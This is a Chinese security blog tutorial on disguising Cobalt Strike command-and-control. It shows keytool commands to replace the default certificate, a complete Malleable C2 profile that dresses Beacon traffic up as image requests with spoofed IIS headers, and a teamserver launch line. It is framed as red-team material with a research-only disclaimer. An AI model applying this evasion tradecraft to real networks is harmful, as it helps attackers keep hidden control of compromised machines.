『红蓝对抗』Cobalt Strike 特征隐藏与流量混淆

admin 2021年5月9日02:55:58评论825 views字数 2578阅读8分35秒阅读模式

『红蓝对抗』Cobalt Strike 特征隐藏与流量混淆

文章来源:LemonSec

0x00 前言

在红蓝对抗或日常测试中会出现一种情况,当我们终于让目标机器上线后,却因为明显的通信特征被安全设备检测到从而失去目标机器的控制权限,这时就需要对 Cobalt Strike 的特征进行隐藏、对其通信流量进行混淆。


本次会提到修改证书特征、利用 Malleable C2 修改流量特征与修改默认端口三种方式。


0x01 修改证书特征

Cobalt Strike 自带的证书特征过于明显,多数安全设备会基于证书特征进行检测,我们需要修改默认证书中的各种特征来达到隐藏自己的目的。

1.1 keytools 简介

keytools 是一个 Java 数据证书的管理工具,keytools 将密钥(key)和证书(certificates)存在一个称为 keystore 的文件中。

1.2 替换默认证书

修改默认证书需要用到 JDK 自带工具 keytools,这里以删除原有证书新建一个无 CS 特征的证书为例。
(1)删除原有证书
(2)在证书当前目录使用 keytools 新建无特征证书
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias google.com -dname "CN=(aa), OU=(bb), O=(cc), L=(dd), ST=(ee), C=(ff)"


(3)修改证书标准并应用

keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstrike.store -deststoretype pkcs12
至此证书修改完成,Cobalt Strike 默认使用名称为 cobaltstrike.store 的证书,可在 teamserver 文件中更改。

『红蓝对抗』Cobalt Strike 特征隐藏与流量混淆


(4)查看证书
keytool -list -v -keystore cobaltstrike.store

『红蓝对抗』Cobalt Strike 特征隐藏与流量混淆


0x02 Malleable C2

Malleable C2 是 Cobalt Strike 的一项功能, 意为 "可定制的" 的 C2 服务器。
Malleable C2[1] 允许通过一个简单的配置文件来改变 Beacon 与 C2 通信时的流量特征与行为。

2.1 自定义流量特征

首先需要新建一个以 .profile 为后缀的文件,此处以定制一份伪装为图片传输的配置文件为例,文件内容基本分为三部分:

(1)基本设置

set sample_name "imgtest"; 
set sleeptime "5000"; # 心跳包时间
set jitter "0"; # 默认的抖动因子(0-99%)
set maxdns "255"; # 通过DNS上传数据时的主机名最大长度(0-255)
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"; # http通信使用的用户代理

(2)通信中 Get 请求包特征
http-get {
set uri "/image/";
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
metadata {
netbios;
append ".jpg"; # 传输内容自动追加的后缀
uri-append;
}
}

server {
header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";
output {
base64; # 加密方式(base64、base64url、netbios、netbiosu)
print;
}
}
}

(3)通信中 Post 请求包特征
http-post {
set uri "/email/";
client {
header "Content-Type" "application/octet-stream";
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
id {
netbiosu;
append ".png";
uri-append;
}
output {
base64;
print;
}
}
server {
header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";
output {
base64;
print;
}
}
}

2.2 流量特征测试

(1)修改完成 .prifile 包后利用 c2lint 校验文件可用性。

『红蓝对抗』Cobalt Strike 特征隐藏与流量混淆


(2)开启服务端并上线靶机测试。 

./teamserver 10.10.10.10 123456 c2-profile/imgtest.profile

(3)执行测试命令后抓取伪造的 GET 流量包。

『红蓝对抗』Cobalt Strike 特征隐藏与流量混淆

(4)伪造后的 POST 包。

『红蓝对抗』Cobalt Strike 特征隐藏与流量混淆


0x03 默认端口配置

Cobalt Strike 默认通信端口可在 teamserver 配置文件中修改,同时可以修改使用的默认证书名称及证书密码。

『红蓝对抗』Cobalt Strike 特征隐藏与流量混淆


0x04 总结

在红蓝对抗中,如果未修改 CS、冰蝎、蚁剑等武器的特征,不需要蓝队人工的参与,就会被安全设备发现,但人永远比机器聪明,只有不断的对自己的武器进行完善,才能让武器变得更加顺手。

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。


References

[1] Malleable C2:
 https://github.com/rsmudge/Malleable-C2-Profiles

『红蓝对抗』Cobalt Strike 特征隐藏与流量混淆


推荐文章++++

『红蓝对抗』Cobalt Strike 特征隐藏与流量混淆

*红蓝对抗之蓝队防守:ATT&CK框架的应用

*红蓝必备 你需要了解的weblogic攻击手法

*干货|红蓝对抗溯源的基本思路


『红蓝对抗』Cobalt Strike 特征隐藏与流量混淆

『红蓝对抗』Cobalt Strike 特征隐藏与流量混淆

本文始发于微信公众号(黑白之道):『红蓝对抗』Cobalt Strike 特征隐藏与流量混淆

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月9日02:55:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『红蓝对抗』Cobalt Strike 特征隐藏与流量混淆http://cn-sec.com/archives/369078.html

发表评论

匿名网友 填写信息